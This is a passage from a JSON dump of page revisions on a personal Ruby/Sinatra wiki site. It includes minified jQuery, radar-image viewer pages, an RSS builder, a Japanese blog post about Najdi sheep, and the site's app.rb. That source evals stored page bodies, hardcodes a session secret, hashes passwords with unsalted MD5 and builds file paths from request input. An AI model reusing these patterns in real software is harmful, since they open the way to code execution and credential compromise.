t,n,i=this[0],o={top:0,left:0},s=i\u0026\u0026i.ownerDocument;if(s)return t=s.documentElement,x.contains(t,i)?(typeof i.getBoundingClientRect!==r\u0026\u0026(o=i.getBoundingClientRect()),n=Hn(s),{top:o.top+n.pageYOffset-t.clientTop,left:o.left+n.pageXOffset-t.clientLeft}):o},x.offset={setOffset:function(e,t,n){var r,i,o,s,a,u,l,c=x.css(e,\"position\"),p=x(e),f={};\"static\"===c\u0026\u0026(e.style.position=\"relative\"),a=p.offset(),o=x.css(e,\"top\"),u=x.css(e,\"left\"),l=(\"absolute\"===c||\"fixed\"===c)\u0026\u0026(o+u).indexOf(\"auto\")\u003e-1,l?(r=p.position(),s=r.top,i=r.left):(s=parseFloat(o)||0,i=parseFloat(u)||0),x.isFunction(t)\u0026\u0026(t=t.call(e,n,a)),null!=t.top\u0026\u0026(f.top=t.top-a.top+s),null!=t.left\u0026\u0026(f.left=t.left-a.left+i),\"using\"in t?t.using.call(e,f):p.css(f)}},x.fn.extend({position:function(){if(this[0]){var e,t,n=this[0],r={top:0,left:0};return\"fixed\"===x.css(n,\"position\")?t=n.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),x.nodeName(e[0],\"html\")||(r=e.offset()),r.top+=x.css(e[0],\"borderTopWidth\",!0),r.left+=x.css(e[0],\"borderLeftWidth\",!0)),{top:t.top-r.top-x.css(n,\"marginTop\",!0),left:t.left-r.left-x.css(n,\"marginLeft\",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||s;while(e\u0026\u0026!x.nodeName(e,\"html\")\u0026\u0026\"static\"===x.css(e,\"position\"))e=e.offsetParent;return e||s})}}),x.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(t,n){var r=\"pageYOffset\"===n;x.fn[t]=function(i){return x.access(this,function(t,i,o){var s=Hn(t);return o===undefined?s?s[n]:t[i]:(s?s.scrollTo(r?e.pageXOffset:o,r?o:e.pageYOffset):t[i]=o,undefined)},t,i,arguments.length,null)}});function Hn(e){return x.isWindow(e)?e:9===e.nodeType\u0026\u0026e.defaultView}x.each({Height:\"height\",Width:\"width\"},function(e,t){x.each({padding:\"inner\"+e,content:t,\"\":\"outer\"+e},function(n,r){x.fn[r]=function(r,i){var o=arguments.length\u0026\u0026(n||\"boolean\"!=typeof r),s=n||(r===!0||i===!0?\"margin\":\"border\");return x.access(this,function(t,n,r){var i;return x.isWindow(t)?t.document.documentElement[\"client\"+e]:9===t.nodeType?(i=t.documentElement,Math.max(t.body[\"scroll\"+e],i[\"scroll\"+e],t.body[\"offset\"+e],i[\"offset\"+e],i[\"client\"+e])):r===undefined?x.css(t,n,s):x.style(t,n,r,s)},t,o?r:undefined,o,null)}})}),x.fn.size=function(){return this.length},x.fn.andSelf=x.fn.addBack,\"object\"==typeof module\u0026\u0026module\u0026\u0026\"object\"==typeof module.exports?module.exports=x:\"function\"==typeof define\u0026\u0026define.amd\u0026\u0026define(\"jquery\",[],function(){return x}),\"object\"==typeof e\u0026\u0026\"object\"==typeof e.document\u0026\u0026(e.jQuery=e.$=x)})(window);","created_at":"2013-07-14T08:05:23.000Z","updated_at":"2013-07-14T08:05:23.000Z"},{"id":2453,"name":"radar/amesh","body":"ruby Radar/Amesh\r\nimages = Dir.glob(\"public/amesh/*.png\").sort.reverse.map{|x| x.split(\"/\").last}\r\nimages.delete(\"msk000.png\")\r\n\r\npage = request.params[\"page\"].to_i rescue 0\r\npage = 1 if page \u003c 1\r\nimages = images.slice(((page-1)*10),10)\r\n\r\ntemplate = \u003c\u003cEOS\r\n!!!\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jqueryjs\"}\r\n#all\r\n #head\r\n %p\r\n source: \r\n %a{:href =\u003e \"http://tokyo-ame.jwa.or.jp/\"}http://tokyo-ame.jwa.or.jp/\r\n %p\r\n #main.autopagerize_page_element \r\n -images.each do |i|\r\n %p\r\n %img{:src =\u003e \"/amesh/\"+i, :alt =\u003e \"\"}\r\n %br\r\n %b=Time.parse i.split(\".\").first\r\n %hr\r\n #pager\r\n %a{:href =\u003e \"/radar/amesh?page=#{page+1}\", :rel =\u003e \"next\"}Older\r\nEOS\r\n\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {:images =\u003e images, :page =\u003e page})\r\n\r\n# vim:set ft=ruby :","created_at":"2013-07-14T08:07:58.000Z","updated_at":"2013-07-14T08:07:58.000Z"},{"id":2454,"name":"radar/anime","body":"haml\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#img\r\n:javascript\r\n var image = function(url){$(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")}\r\n var list = #{Dir.glob(\"public/radar/*png\").sort{|a,b| a.split('/').last.to_i \u003c=\u003e b.split('/').last.to_i}.map{|x| \"/radar/\"+x.split(\"/\").last}.reverse}\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n image(list[index])\r\n window.setTimeout(\"loop()\", 2000)\r\n }\r\n loop();","created_at":"2013-07-14T08:08:42.000Z","updated_at":"2013-07-14T08:08:42.000Z"},{"id":2455,"name":"radar/amesh/anime","body":"haml\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#img\r\n:javascript\r\n var image = function(url){$(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")}\r\n var list = #{Dir.glob(\"public/amesh/*png\").delete_if{|x| x =~ /msk000.png/}.sort.map{|x| \"/amesh/\"+x.split(\"/\").last}.reverse}\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n image(list[index])\r\n window.setTimeout(\"loop()\", 2000)\r\n }\r\n loop();","created_at":"2013-07-14T08:10:43.000Z","updated_at":"2013-07-14T08:10:43.000Z"},{"id":2456,"name":"radar/amesh/anime","body":"haml\r\n%script{:src =\u003e \"/jquery.js\"}\r\n%p#time\r\n#img\r\n:javascript\r\n var image = function(url){\r\n $(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")\r\n $('#time').text(url.split('/')[2].split('.')[0])\r\n }\r\n var list = #{Dir.glob(\"public/amesh/*png\").delete_if{|x| x =~ /msk000.png/}.sort.map{|x| \"/amesh/\"+x.split(\"/\").last}.reverse}\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n image(list[index])\r\n window.setTimeout(\"loop()\", 2000)\r\n }\r\n loop();","created_at":"2013-07-14T08:12:22.000Z","updated_at":"2013-07-14T08:12:22.000Z"},{"id":2457,"name":"radar/amesh/anime","body":"haml\r\n%script{:src =\u003e \"/jquery.js\"}\r\n%p\r\n %b#time\r\n#img\r\n:javascript\r\n var image = function(url){\r\n $(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")\r\n $('#time').text(url.split('/')[2].split('.')[0])\r\n }\r\n var list = #{Dir.glob(\"public/amesh/*png\").delete_if{|x| x =~ /msk000.png/}.sort.map{|x| \"/amesh/\"+x.split(\"/\").last}.reverse}\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n image(list[index])\r\n window.setTimeout(\"loop()\", 2000)\r\n }\r\n loop();","created_at":"2013-07-14T08:12:35.000Z","updated_at":"2013-07-14T08:12:35.000Z"},{"id":2458,"name":"radar/amesh/anime/last60","body":"haml\r\n%script{:src =\u003e \"/jquery.js\"}\r\n%p\r\n %b#time\r\n#img\r\n:javascript\r\n var image = function(url){\r\n $(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")\r\n $('#time').text(url.split('/')[2].split('.')[0])\r\n }\r\n var list = #{Dir.glob(\"public/amesh/*png\").delete_if{|x| x =~ /msk000.png/}.sort.map{|x| \"/amesh/\"+x.split(\"/\").last}.slice(0,12).reverse}\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n if(list[index]){\r\n image(list[index])\r\n window.setTimeout(\"loop()\", 2000)\r\n }\r\n }\r\n loop();","created_at":"2013-07-14T08:14:37.000Z","updated_at":"2013-07-14T08:14:37.000Z"},{"id":2459,"name":"radar/amesh/anime/last60","body":"haml\r\n%script{:src =\u003e \"/jquery.js\"}\r\n%p\r\n %b#time\r\n#img\r\n:javascript\r\n var image = function(url){\r\n $(\"#img\").html(\"\u003cimg alt='' src='\"+url+\"' /\u003e\")\r\n $('#time').text(url.split('/')[2].split('.')[0])\r\n }\r\n var list = #{Dir.glob(\"public/amesh/*png\").delete_if{|x| x =~ /msk000.png/}.sort.map{|x| \"/amesh/\"+x.split(\"/\").last}.reverse.slice(0,12).reverse}\r\n var index = 0\r\n var loop = function(){\r\n index++\r\n if(list[index]){\r\n image(list[index])\r\n window.setTimeout(\"loop()\", 2000)\r\n }\r\n }\r\n loop();","created_at":"2013-07-14T08:15:01.000Z","updated_at":"2013-07-14T08:15:01.000Z"},{"id":2460,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /radar/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2013-07-16T14:41:46.000Z","updated_at":"2013-07-16T14:41:46.000Z"},{"id":2461,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /radar|.js$|^feed/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2013-07-16T14:42:15.000Z","updated_at":"2013-07-16T14:42:15.000Z"},{"id":2462,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /radar|.js$|^feed$|^recent$/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2013-07-18T00:56:09.000Z","updated_at":"2013-07-18T00:56:09.000Z"},{"id":2463,"name":"feed","body":"builder Recent Update\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(150).each{|p|\r\n next if p.name =~ /radar|.js$|^feed$|^recent$|^index$/\r\n flag = true\r\n posts.each{|t|\r\n flag = false if t.name == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.title\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.html(request)\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend","created_at":"2013-07-18T00:56:27.000Z","updated_at":"2013-07-18T00:56:27.000Z"},{"id":2464,"name":"text/サウジアラビアの羊「ナジディ」","body":"%blog%\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eインスタグラムの nasserjassim66 さんが謎の動物をむっちゃUPしててヤバい。見たことない…ヤギ…?馬…? \u003ca href=\"http://t.co/4HkfKtDue6\"\u003epic.twitter.com/4HkfKtDue6\u003c/a\u003e\u003c/p\u003e\u0026mdash; カワウソ祭 (@fleeeer) \u003ca href=\"https://twitter.com/fleeeer/statuses/356659691918610432\"\u003eJuly 15, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nこのツイートでこの動物の存在をしって「なんだこれ」と思って気になったので調べてみました。\r\n\r\nこの画像を画像検索したところ、[このフォーラム](http://www.aghnam.com/vb/showthread.php?p=2386312)がひっかかりました。 Google 翻訳ツールで翻訳してみると、このフォーラムは「ナジディ羊飼ってる人のフォーラム」のようです。\r\n\r\nそこで[ナジディ羊について Wikipedia に聞いてみました。](http://bit.ly/12Xo7ya)\r\n\r\nどうやらこいつのようです。そしてこの羊について日本語で得られる情報ないか少々あたってみると、以下の 2 点の情報が得られました。\r\n\r\n\u003eサウジ人たちにとっては、故郷のナジド砂漠の特別の羊ナジディを夜中の砂漠で食べるのが、海外から帰ってきたときの希望です。1日掛けて煮込みます。巨大な皿に炊き込みご飯の上に、羊丸一頭を載せて、手で食べます。 \r\n\u003ehttp://q.hatena.ne.jp/1093516711\r\n\r\nそしてこれがその料理 \r\n![najdi dish](http://ssig33.com/gyazo/90ab4cdffc590d549ace3410e27317c.png)\r\n\r\n\u003e値段が一番高いのは、「ナジド」と呼ばれるサウジ産の羊ですが、体は黒毛で頭の部分だけが白毛のもので、値段は1頭あたり800リヤル(25000円)以上します。 \r\n\u003ehttp://www2.pf-x.net/~informant/tanaka/saudireport016-020.htm\r\n\r\nというわけであとは適当にナジディの画像を貼っておきます。\r\n\r\n![najdi](http://ssig33.com/gyazo/ce5feeb6e7b233f7798085ec54dad4a3.png)\r\n\r\n![najdi](http://ssig33.com/gyazo/ca4a2a7a6da1936ccac2c7afda990a5.png)\r\n\r\n![najdi](http://ssig33.com/gyazo/2c622aaccbad835abf68c17c6aeec8e1.png)\r\n\r\n![najdi](http://ssig33.com/gyazo/f73b1e7871b676e72d77e0d70375c120.png)\r\n\r\n![najdi](http://ssig33.com/gyazo/58255e16f19bfbe8d85bc2545f49f494.png)\r\n\r\n![najdi](http://ssig33.com/gyazo/160cd8cbda4cf8e04bd9bb9bc799c476.png)\r\n\r\nアルパカよりもさらにキている感じします。","created_at":"2013-07-18T11:49:37.000Z","updated_at":"2013-07-18T11:49:37.000Z"},{"id":2465,"name":"text/サウジアラビアの羊「ナジディ」","body":"%blog%\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eインスタグラムの nasserjassim66 さんが謎の動物をむっちゃUPしててヤバい。見たことない…ヤギ…?馬…? \u003ca href=\"http://t.co/4HkfKtDue6\"\u003epic.twitter.com/4HkfKtDue6\u003c/a\u003e\u003c/p\u003e— カワウソ祭 (@fleeeer) \u003ca href=\"https://twitter.com/fleeeer/statuses/356659691918610432\"\u003eJuly 15, 2013\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nこのツイートでこの動物の存在をしって「なんだこれ」と思って気になったので調べてみました。\r\n\r\nこの画像を画像検索したところ、[このフォーラム](http://www.aghnam.com/vb/showthread.php?p=2386312)がひっかかりました。 Google 翻訳ツールで翻訳してみると、このフォーラムは「ナジディ羊飼ってる人のフォーラム」のようです。\r\n\r\nそこで[ナジディ羊について Wikipedia に聞いてみました。](http://bit.ly/12Xo7ya)\r\n\r\nどうやらこいつのようです。そしてこの羊について日本語で得られる情報ないか少々あたってみると、以下の 2 点の情報が得られました。\r\n\r\n\u003eサウジ人たちにとっては、故郷のナジド砂漠の特別の羊ナジディを夜中の砂漠で食べるのが、海外から帰ってきたときの希望です。1日掛けて煮込みます。巨大な皿に炊き込みご飯の上に、羊丸一頭を載せて、手で食べます。 \r\n\u003ehttp://q.hatena.ne.jp/1093516711\r\n\r\n\u003eそしてこれがその料理 \r\n\u003e![najdi dish](http://ssig33.com/gyazo/90ab4cdffc590d549ace3410e27317c.png)\r\n\r\n\u003e値段が一番高いのは、「ナジド」と呼ばれるサウジ産の羊ですが、体は黒毛で頭の部分だけが白毛のもので、値段は1頭あたり800リヤル(25000円)以上します。 \r\n\u003ehttp://www2.pf-x.net/~informant/tanaka/saudireport016-020.htm\r\n\r\nというわけであとは適当にナジディの画像を貼っておきます。\r\n\r\n![najdi](http://ssig33.com/gyazo/ce5feeb6e7b233f7798085ec54dad4a3.png)\r\n\r\n![najdi](http://ssig33.com/gyazo/ca4a2a7a6da1936ccac2c7afda990a5.png)\r\n\r\n![najdi](http://ssig33.com/gyazo/2c622aaccbad835abf68c17c6aeec8e1.png)\r\n\r\n![najdi](http://ssig33.com/gyazo/f73b1e7871b676e72d77e0d70375c120.png)\r\n\r\n![najdi](http://ssig33.com/gyazo/58255e16f19bfbe8d85bc2545f49f494.png)\r\n\r\n![najdi](http://ssig33.com/gyazo/160cd8cbda4cf8e04bd9bb9bc799c476.png)\r\n\r\nアルパカよりもさらにキている感じします。","created_at":"2013-07-18T11:53:16.000Z","updated_at":"2013-07-18T11:53:16.000Z"},{"id":2466,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'memcached'\r\nrequire 'digest/md5'\r\n$memcache = Memcached.new(\"localhost:11211\")\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"http://ssig33.com/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n begin\r\n cache = $memcache.get(\"site/#{CGI.escape request.path_info}\")\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n $memcache.set(\"site/#{CGI.escape request.path_info}\", for_cache, 60)\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache_path = Digest::MD5.hexdigest(cache_path).to_s\r\n begin\r\n cache = $memcache.get(cache_path)\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n $memcache.set(cache_path, for_cache, 80000)\r\n else\r\n $memcache.set(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n begin\r\n $memcache.delete Digest::MD5.hexdigest(\"site/#{CGI.escape \"/\"+CGI.unescape(params[:id])}\").to_s\r\n rescue Memcached::NotFound\r\n end\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n key = Digest::MD5.hexdigest(page.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = page.name\r\n Groonga['Pages'][key].text = page.body\r\n Groonga['Pages'][key].page_id = page.id\r\n redirect \"http://ssig33.com/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"http://ssig33.com/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"http://ssig33.com/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2013-07-18T12:18:59.000Z","updated_at":"2013-07-18T12:18:59.000Z"},{"id":2467,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'memcached'\r\nrequire 'digest/md5'\r\n$memcache = Memcached.new(\"localhost:11211\")\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.name.split(\"text/\").last\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = 